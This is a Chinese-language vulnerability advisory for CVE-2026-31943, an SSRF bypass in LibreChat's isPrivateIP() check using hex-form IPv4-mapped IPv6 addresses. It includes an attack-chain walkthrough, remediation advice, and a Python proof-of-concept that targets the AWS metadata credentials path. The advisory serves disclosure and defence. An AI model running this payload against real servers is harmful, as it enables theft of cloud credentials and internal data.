IPBUF安全漏洞报告
English
CVE-2026-31943 CVSS 8.5 高危

CVE-2026-31943 LibreChat SSRF漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-31943
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LibreChat

相关标签

SSRFLibreChatCVE-2026-31943IPv6 BypassHigh Severity

漏洞概述

LibreChat是一个功能丰富的ChatGPT克隆项目。在0.8.3版本之前,其`packages/api/src/auth/domain.ts`文件中的`isPrivateIP()`函数存在缺陷。该函数无法正确检测以十六进制规范化形式存在的IPv4映射IPv6地址。这导致任何经过身份验证的用户都可以绕过SSRF(服务端请求伪造)保护机制,诱导服务器向内部网络资源发送HTTP请求,包括云元数据服务(如AWS 169.254.169.254)、回环地址及RFC1918私有地址段。

技术细节

该漏洞的根源在于LibreChat未能全面解析和校验IP地址格式。在`packages/api/src/auth/domain.ts`文件中,`isPrivateIP()`函数承担了SSRF防御的关键角色,旨在拦截指向内网(如127.0.0.1、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)的请求。然而,该函数存在逻辑缺陷,未能正确处理IPv4映射的IPv6地址的十六进制规范化形式。IPv6协议允许将IPv4地址嵌入其中(IPv4-mapped IPv6),且支持十六进制表示。例如,IPv4地址`169.254.169.254`(AWS元数据服务地址)可以表示为IPv6十六进制形式`::ffff:a9fe:a95e`。当攻击者在请求参数中使用这种格式时,`isPrivateIP()`函数无法识别其为私有地址,从而放行了请求。攻击者利用此绕过技术,可以诱导LibreChat服务器作为代理,向敏感的内网服务发起HTTP请求,获取云平台凭证、扫描内网端口或访问本地管理接口。

攻击链分析

STEP 1
1. 身份认证
攻击者注册并登录LibreChat平台,获取低权限用户身份(漏洞利用需要认证)。
STEP 2
2. 构造恶意载荷
攻击者确定目标内网IP(如169.254.169.254),并将其转换为IPv4映射的IPv6十六进制格式(如::ffff:a9fe:a95e),以绕过`isPrivateIP()`检测。
STEP 3
3. 发送SSRF请求
攻击者向LibreChat的API接口发送包含恶意URL的请求,诱导服务器端发起HTTP请求。
STEP 4
4. 绕过安全检查
LibreChat服务器的`isPrivateIP()`函数解析IPv6格式失败,将其误判为合法公网地址,放行请求。
STEP 5
5. 获取内网信息
LibreChat服务器代为请求内网资源,并将响应数据返回给攻击者,导致敏感信息(如云凭证、内网配置)泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-31943 (LibreChat SSRF) # This script demonstrates how to bypass the IP check using IPv6 hex format. import requests def ipv4_to_ipv6_hex(ipv4): """Convert IPv4 to IPv4-mapped IPv6 hex representation.""" parts = list(map(int, ipv4.split('.'))) hex_ip = '{:02x}{:02x}:{:02x}{:02x}'.format(parts[0], parts[1], parts[2], parts[3]) return f'::ffff:{hex_ip}' def main(): target_base_url = "http://librechat-server-url/api/endpoint" # Target internal IP (e.g., AWS Metadata Service) internal_target = "169.254.169.254" # Bypass payload using IPv6 hex format bypass_payload = ipv4_to_ipv6_hex(internal_target) malicious_url = f"http://[{bypass_payload}]/latest/meta-data/iam/security-credentials/" print(f"Testing SSRF with payload: {malicious_url}") # Example request structure (adjust based on actual API) data = { "url": malicious_url } try: response = requests.post(target_base_url, json=data) if response.status_code == 200: print("[+] Request successful! Internal data may be leaked.") print(response.text[:200]) # Print partial response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": main()

影响范围

LibreChat < 0.8.3

防御指南

临时缓解措施
建议立即将LibreChat升级到0.8.3版本,该版本已修复IP地址校验逻辑。如果暂时无法升级,应在网络防火墙层面严格限制LibreChat服务器的出站连接,特别是阻断对169.254.169.254(云元数据服务)、127.0.0.1(回环)及RFC1918私有地址段的访问。同时,可配置云厂商的元数据服务(如AWS IMDSv2)要求使用PUT请求和会话令牌,增加利用难度。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表